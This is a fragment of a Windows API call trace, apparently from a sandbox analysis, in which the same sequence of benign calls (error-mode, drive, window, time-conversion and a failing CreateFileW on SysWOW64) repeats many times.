	[0050.479] SetErrorMode (uMode=0x1) returned 0x1
	[0050.479] GetLogicalDrives () returned 0x4
	[0050.479] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.479] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.479] AppendMenuW (hMenu=0x0, uFlags=0x808bbd68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.479] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.479] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.479] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.479] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.479] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.479] SetErrorMode (uMode=0x1) returned 0x1
	[0050.479] GetLogicalDrives () returned 0x4
	[0050.479] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.479] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.479] AppendMenuW (hMenu=0x0, uFlags=0x808bbf1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.481] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.481] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.481] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.481] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.481] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.481] SetErrorMode (uMode=0x1) returned 0x1
	[0050.481] GetLogicalDrives () returned 0x4
	[0050.481] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.481] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.481] AppendMenuW (hMenu=0x0, uFlags=0x808c99a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.481] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.481] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.481] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.481] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.481] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.481] SetErrorMode (uMode=0x1) returned 0x1
	[0050.482] GetLogicalDrives () returned 0x4
	[0050.482] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.482] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.482] AppendMenuW (hMenu=0x0, uFlags=0x808d9b5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.482] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.482] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.482] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.482] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.482] SetErrorMode (uMode=0x1) returned 0x1
	[0050.482] GetLogicalDrives () returned 0x4
	[0050.482] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.482] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.482] AppendMenuW (hMenu=0x0, uFlags=0x808e75e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.482] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.482] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.482] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.483] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.483] SetErrorMode (uMode=0x1) returned 0x1
	[0050.483] GetLogicalDrives () returned 0x4
	[0050.483] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.483] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.483] AppendMenuW (hMenu=0x0, uFlags=0x808f779c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.483] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.483] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.483] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.483] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.483] SetErrorMode (uMode=0x1) returned 0x1
	[0050.483] GetLogicalDrives () returned 0x4
	[0050.483] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.483] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.483] AppendMenuW (hMenu=0x0, uFlags=0x80905228, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.483] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.483] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.484] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.484] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.484] SetErrorMode (uMode=0x1) returned 0x1
	[0050.484] GetLogicalDrives () returned 0x4
	[0050.484] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.484] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.484] AppendMenuW (hMenu=0x0, uFlags=0x809153dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.484] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.484] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.484] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.484] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.484] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.484] SetErrorMode (uMode=0x1) returned 0x1
	[0050.484] GetLogicalDrives () returned 0x4
	[0050.484] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.484] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.485] AppendMenuW (hMenu=0x0, uFlags=0x80922e68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.485] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.485] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.485] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.485] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.485] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.485] SetErrorMode (uMode=0x1) returned 0x1
	[0050.485] GetLogicalDrives () returned 0x4
	[0050.485] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.485] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.485] AppendMenuW (hMenu=0x0, uFlags=0x8093301c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.485] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.485] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.485] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.485] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.486] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.486] SetErrorMode (uMode=0x1) returned 0x1
	[0050.486] GetLogicalDrives () returned 0x4
	[0050.486] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.486] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.486] AppendMenuW (hMenu=0x0, uFlags=0x80940aa8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.486] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.486] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.486] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.486] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.486] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.486] SetErrorMode (uMode=0x1) returned 0x1
	[0050.486] GetLogicalDrives () returned 0x4
	[0050.486] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.486] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.486] AppendMenuW (hMenu=0x0, uFlags=0x80950c5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.486] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.486] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.486] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.487] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.487] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.487] SetErrorMode (uMode=0x1) returned 0x1
	[0050.487] GetLogicalDrives () returned 0x4
	[0050.487] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.487] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.487] AppendMenuW (hMenu=0x0, uFlags=0x8095e6e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.487] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.487] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.487] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.487] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.487] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.487] SetErrorMode (uMode=0x1) returned 0x1
	[0050.487] GetLogicalDrives () returned 0x4
	[0050.487] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.487] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.487] AppendMenuW (hMenu=0x0, uFlags=0x8096e89c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.487] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.488] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.488] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.488] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.488] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.488] SetErrorMode (uMode=0x1) returned 0x1
	[0050.488] GetLogicalDrives () returned 0x4
	[0050.488] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.488] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.488] AppendMenuW (hMenu=0x0, uFlags=0x8097c328, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.488] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.488] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.488] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.488] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.488] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.488] SetErrorMode (uMode=0x1) returned 0x1
	[0050.488] GetLogicalDrives () returned 0x4
	[0050.488] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.488] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.488] AppendMenuW (hMenu=0x0, uFlags=0x8097c4dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.489] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.489] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.489] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.489] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.489] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.489] SetErrorMode (uMode=0x1) returned 0x1
	[0050.489] GetLogicalDrives () returned 0x4
	[0050.489] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.489] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.489] AppendMenuW (hMenu=0x0, uFlags=0x80989f68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.489] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.489] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.489] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.489] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.489] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.489] SetErrorMode (uMode=0x1) returned 0x1
	[0050.489] GetLogicalDrives () returned 0x4
	[0050.489] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.489] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.490] AppendMenuW (hMenu=0x0, uFlags=0x8099a11c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.490] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.490] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.490] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.490] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.490] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.490] SetErrorMode (uMode=0x1) returned 0x1
	[0050.490] GetLogicalDrives () returned 0x4
	[0050.490] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.490] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.490] AppendMenuW (hMenu=0x0, uFlags=0x809a7ba8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.490] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.490] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.490] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.490] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.490] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.490] SetErrorMode (uMode=0x1) returned 0x1
	[0050.490] GetLogicalDrives () returned 0x4
	[0050.490] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.491] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.491] AppendMenuW (hMenu=0x0, uFlags=0x809b7d5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.491] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.491] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.491] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.491] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.491] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.491] SetErrorMode (uMode=0x1) returned 0x1
	[0050.491] GetLogicalDrives () returned 0x4
	[0050.491] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.491] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
